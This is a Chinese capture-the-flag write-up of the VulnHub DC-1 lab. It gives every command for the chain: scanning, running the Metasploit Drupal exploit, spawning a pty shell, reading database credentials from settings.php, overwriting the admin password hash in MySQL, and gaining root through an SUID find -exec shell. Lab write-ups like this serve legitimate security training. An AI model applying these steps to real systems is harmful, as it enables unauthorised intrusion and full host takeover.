记一次快乐打靶经历-DC1

1.靶场准备

攻击机:kali2023
靶机:DC-1(下载链接官网:https://www.vulnhub.com/)
kali和DC-1都配置为nat模式
准备
(ps:有需要下载kali2023的可以发我邮箱要链接哦>~<)

2.场景描述

这个靶场假设了一个场景,攻击方和被攻击方处于同一个网段下,但是并不知道被攻击者的IP,期间穿插了几个flag作为提示,我们拿到root权限的标识是 thefinalflag ,下面开始快乐打靶

3.攻击开始

  • 1.主机发现
    我们面对一个完全未知的系统,我们首先要做的是获取被攻击者的IP,也就是主机发现,我们使用ARP扫描,我们可以看到这个网段中存活的主机如下,当然,我们除了用ARP,还可以使用netdiscover进行IP地址的探测

探测当前网段所有IP地址:

arp-scan -l

图一

netdiscover

图二

  • 2.端口扫描
    刚刚我们基本可以判断出来要攻击的主机ip是192.168.10.136,我们接下来对这个ip进行一个信息收集,首先我们用nmap扫描一下端口

    nmap -sV -p- 192.168.10.136

图三

  • 3.找切入点
    首先常规思路目录扫描

    dirsearch -u 192.168.10.136 -e *

将可用目录(200,301,302全部保留),后续可能会用到。
图四

通过刚刚的nmap扫描,我们发现服务器开放80端口,直接通过ip访问网站,网站如下,只有一个登录页面,常规的我们可以测试sql,xss,csrf,ssrf,用户名枚举,暴力破解等等,但是全部失败
图五

那怎么办呢,当然是继续找切入点啦啦,分析网站框架,在本次打靶中是破局关键,在这里我们使用kali自带的whatweb工具,分析出的网站框架如下(ps:windows下可以直接使用wappalyzer插件)

whatweb -v 192.168.10.136

图六

发现php版本5.4.45+deb7u14///drupal,不知道什么是druple,chatgpt告诉我们Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成.

  • 4.漏洞利用

根据我们收集到的一些信息,下面我们该进入到第二阶段漏洞探测和利用,我们暂时找的点是drupal开源框架的漏洞,进入kali的Msfconsole,这个模块是kali自带的开源的渗透测试框架,我们进入框架之后查找一下对应的漏洞,

search drupal

我们可以看到这个框架中存在很多漏洞,选择距离目前最近的并且Rank比较高的2018年漏洞,这样比较容易成功,

use 开源漏洞目录

我们现在进入它的目录下,查看需要配置的参数,

show options

我们可以看到yes的地方是必须填的,但是默认基本都帮我们填好了,我们只需要填靶机的IP也就是填Rhost,

set Rhost 192.168.10.136

然后我们开始攻击

run

这样他就会帮我们进行自动攻击,我们稍等一段时间,
图七
可以看到,现在session已经建立完成,我们可以查看DC-1基本信息

sysinfo

图八
到此,我们得到的是一个不完整的shell,所以使用python中的pty模块,来反弹一个完整的shell,

Shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’

图九

  • 5.内网渗透(后渗透阶段)
    利用反弹shell进入到它www目录下,之后要进行内网渗透部分了,我们先看一下它目录下的文件,由于它是一个靶场,那最重要的文件就是flag;

    cat flag1.txt

flag1
这一套操作下来,我们就获得了第一个flag 1,它提示我们每一个好的CMS都需要一个配置文件, (ps:web服务器配置文件名称:setting-maven的全局配置文件,还有一个web.Config-web服务配置文件)
接下来我们找一下他这个配置文件在哪,找到之后cat一下这个文件看看配置

find . -name “set*”
cat ./sites/default/settings.php

flag2
我们发现了这个配置文件中有flag 2,这个flag2给了提示是暴力和字典攻击不是最常见的,只有获得访问权限的方法,您能用这些证书做什么?暴力破解的话,可以想到前面80的登录框,意思就是没办法暴力破解登录,第二句话的意思应该是后续需要我们进行一个提权的操作,我们接着往下看,这边还给出了数据库的账号密码,我们登录一下他的数据库

mysql -udbuser -pR0ck3t

进入mysl,我们查看一下它的数据库

show databases;

可以看到数据名字叫drupaldb,我们进入drupaldb库中

use drupaldb

查看库中的表

show tables;

仔细观察一下,我们可以看到有一个users的表,查看表中内容

select * from users\G;

图十
图十一
在users表中,我们发现有admin用户,但是密码是加盐过的,一般加盐的密码是很难破解的,所以选择修改用户密码来解决。首先生成自定义密码的加盐哈希值。
回到/var/www下找一下文件中对密码进行加密的文件,
find . -name “hash
找到文件后(./scripts/password-hash.sh)大概查看下,简单运行下看看有什么东西

./scripts/password-hash.sh

意思应该是直接再后面加密码就会返回加密后的结果,执行以下代码,生成自己的加盐密码,

php scripts/password-hash.sh 111111

接下来我们重新进入数据库更新一下密码,先进入mysql

mysql -udbuser -pR0ck3t

进入到drupaldb库中

use drupaldb

更新密码

update users set pass=”$S$DXUFDdmLao0Af9D0WESwPFuvDML6ApJ426pu9Ij2YDobcwcIXq8H” where uid=1;

图十二

好的,我们可以看到密码已经修改成功了,我们进入网站登陆一下(admin,111111)
图十三

登陆成功,进入网站,点击左上角的Dashboard,查看到flag3.txt。
flag3

获得提示:Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
翻译是:特殊的PERMS将有助于查找密码,但您需要执行该命令才能找到阴影中的内容。根据flag3中提示,去查看存放用户信息的文件和存放密码信息的文件,

cd /etc ls cat shadow

我们发现没有权限,我们看一下提示的另一个关键词passwd

cat passwd

图十四
发现有flag4,还给了个路径/home/flag4,那我们切换到flag4里面看看有什么文件

cd /home/flag4 ls cat flag4.txt

flag4
它又给了我们提示
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?

翻译:你能用同样的方法在根目录中查找或访问标志吗?可能但也许这并不是那么容易。或者可能是这样?

  • 6.提权
    需要我们在root下找到flag,发现权限不够。需要提权,首先试试SUID提权,查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

解释如下:
find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)
在这些文件中查找可以利用的点,发现find在root中。直接执行命令提权

find -exec /bin/sh ;

此时,我们切换到root目录下

cd /root

看到了最后的flag,thefinalflag.txt !!!!!!!!
thefinalflag

渗透过程结束了,我们彻底拿下这台主机,拥有root权限,为所欲为。
真实环境下指路->《网络安全法》